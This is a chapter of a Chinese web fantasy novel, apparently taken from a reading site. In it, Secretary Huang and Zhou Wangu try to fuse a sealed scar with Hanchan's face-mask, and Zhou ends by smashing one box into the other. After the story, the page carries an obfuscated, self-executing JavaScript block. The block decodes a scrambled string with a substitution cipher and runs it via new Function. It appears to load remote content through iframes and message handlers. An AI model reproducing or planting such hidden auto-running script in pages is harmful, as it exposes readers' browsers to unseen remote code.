看到这道疤的瞬间,周万古浑身汗毛炸立,强忍着逃走的恐惧,厉声喝道,
“黄云,你要做什么?!”
难道这家伙,要把这道疤放在脸上吗?
黄秘书冷冷看了周万古一眼,
“九戒说的没错,你脑子确实不好。”
周万古皱眉,死死盯着黄秘书,没有任何松懈,不敢轻举妄动。
黄秘书是一个不爱说废话的人,可为了打消周万古的顾虑,黄秘书不得不多说几句废话。
“如果这刀疤能放在我脸上,我会等到现在?”
先前黄秘书有无数个机会,无数个理由,动用这张底牌,何必等到现在?
真承载了这道疤,不管付出怎样的代价,都能够消除,完全没有理由不这么做!
周万古虽然在心底认可这个说法,但依旧没有彻底打消顾虑,
“既然没办法承载,那你现在拿出来,不还是多此一举?”
黄秘书没有理会周万古,而是又拿出了一个盒子。
“如果诡系王座,真的成为了单系双王座,那这样东西,应该也会被影响...”
周万古依旧好奇盒子里是什么,黄秘书也是一贯的风格,没有藏着掖着,很给面子,直接就给周万古看了。
可周万古只是看了一眼,便后悔了这个选择。
盒子里装的不是别的,正是面子。
准确来说,盒子里有一张脸。
和江白一模一样的脸。
一个盒子里装着一道疤,一个盒子里装着一张江白的脸。
更准确的说,是旧日支柱寒蝉的脸。
在今天之前,这张脸都无法承载这道疤,但今天不一样。
诡系王座做到了从未有人做到的事,单系双王座,祂在诡和鬼之间不断切换,而诡系王座这么做,意味着所有诡系的强者都会受到影响。
寒蝉的头骨,还在诡系王座手里。
但也只有头骨。
脸上那层皮,更准确地来说,黄秘书也说不清,这张脸到底是寒蝉常用的面具,还是真正的脸。
这张脸皮上密密麻麻都是裂纹,和诡系王座一样,在诡和鬼之间不断切换,让它有了承载刀疤的可能。
但也只是可能!
黄秘书要做的,就是把这道疤,转移到那张脸上,然后再送到灾天帝手里。
至于之后的事...
黄秘书就真的不知道了。
“这道疤能否和这张脸融合?”
“不知道。”
“灾天帝是否愿意戴上这张面具?”
“不知道。”
“戴上这张面具的灾天帝,到底是灾天帝,还是寒蝉,亦或者灭屠?”
“不知道。”
一向不怎么说废话的黄秘书,坐在两样东西前自问自答,一连说了三个不知道。
为了这一天,旧日支柱准备了很多年,铺垫了很久。
灭屠假死,换上了寒蝉一身的骨头,就是为了用寒蝉的力量,把这刀疤卸下来,同时用寒蝉的力量将刀疤封印,送到了黄秘书手中。
寒蝉假死...哦,这个是真死了。
寒蝉死之前,除了把身上绝大多数骨头留给了灭屠,还把这张脸留了下来。
这张脸这些年一直在任桀手里,想办法尽可能磨掉寒蝉的烙印,炼制成了一张面具。
如今,净土又又又一次,站在了悬崖边缘,而这张底牌,真真真的是旧日支柱最后一张底牌了。
真·旧日支柱热血沸腾的组合技。
就连黄秘书,也说不上来,这件事成功之后,到底能带来什么好处。
他只知道,这是自己必须要做的一件事。
“如果我死了,你要想办法把这刀疤挪到这张面具上。”
黄秘书知道周万古脑子不好,认真叮嘱道,
“这件事只有王座之下的人能做。”
周万古不解,“为什么是我?”
不管是那道疤也好,还是那面具也罢,都是最顶尖的秘宝,任何一样单独拿出去,交到王座亦或者魔主面前,都能换来实打实的好处。
周万古自认不是什么好人,黄秘书竟然如此信任自己,难免有些奇怪。
黄秘书直白答道,
“哦,如果你投靠魔主的话,我觉得祂们会死的更快一些。”
周万古:......
这个回答,他没办法反驳。
周万古又生出一个疑惑,
“既然如此,为什么还要你先试一次,不能我直接来吗?”
他战力比黄秘书强,命比黄秘书硬,运气也更加逆天一些,不管从哪个角度来看,他成功概率都比黄秘书要大,黄秘书失败了还是轮到他来,既然如此,为什么不一开始就让他来?
黄秘书点头,同意了周万古的请求,抬起一只手,
“请。”
周万古:???
合着在这里等我是吧?
周万古被黄秘书气笑,撸起袖子,倒也真没和对方客气,大大咧咧走了上来,
“不就是把这道疤挪到脸上嘛,能有多...难...办...”
周万古先是尝试把刀疤从盒子里拿出,发现刀疤倒是很简单拿出来,可离开盒子的瞬间,时间就会倒流,刀疤再次回到盒子里。
既然刀疤拿不出来,那面具总没问题吧?
周万古又试着从盒子里取出面具,发现这薄薄的一张脸皮,竟然比王座还要沉重!
“奇了怪了!”
周万古掂了掂盒子,感觉匪夷所思。
这张面具在盒子里,就像空气一样,寒蝉一点面子也没有。
可想要把面具拿出盒子里,寒蝉的脸皮又比城墙还要厚,就算周万古使出吃奶的力气,也无法撼动分毫。
一个无法取出,一个无力取出,不管是刀疤还是脸,似乎都超出了他们能力的极限。
可若是王座之上的力量来使二者融合,又会直接让这两件秘宝出现过激的反应!
也就是说,摆在周万古面前的,是一个近乎无解的问题。
王座之上,不行。
王座之下第一人的周万古,既动不了刀疤,也动不了面具。
如果周万古真有办法把这两样东西从盒子里取出来,他干嘛不去当旧日支柱?
是不喜欢吗?
而旧日支柱因为灾天帝的原因,眼下是绝无可能回归的。
“很显然,只有旧日支柱级别的存在才能做到的事,对我们来讲,无比棘手。”
一件难办的事,对周万古来讲,恰恰是最好办的。
“要么融合。”
周万古面目狰狞,喉咙里发出低吼,
“要么...就毁了吧!”
只见,他拿起其中一个盒子,向另一个盒子狠狠砸了下去!
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();